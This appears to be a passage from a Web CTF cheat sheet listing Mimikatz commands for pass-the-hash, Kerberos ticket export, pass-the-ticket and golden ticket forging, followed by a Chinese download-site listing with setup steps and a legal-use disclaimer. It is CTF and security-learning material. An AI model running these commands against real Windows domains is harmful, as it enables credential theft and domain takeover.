- sekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b90314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
- sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b90314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
- TGT
- kerberos::tgt (Displays informations about the TGT of the current session)
- List / Export Kerberos tickets of all sessions
- sekurlsa::tickets /export
- Pass The Ticket
- kerberos::ptt
- Golden
- generate the TGS with NTLM: kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<ser> /target:<ser>
- generate the TGS with AES 128 key: kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<ser> /target:<ser>
- generate the TGS with AES 256 key: kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<ser> /target:<ser>
- Purge
- kerberos::purge` (Purges all tickets of the current session)----
Welcome to open Pull Request
OR
![Buy me a coffee]()
![Stargazers over time]()
开发语言:Ruby
Star 数:2993
该项目属于CTF思路方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕Web CTF CheatSheet 🐈展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | Web-CTF-Cheatsheet - Web CTF CheatSheet 🐈 |
| 所属分类 | CTF思路 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 23:35:01 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 382 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |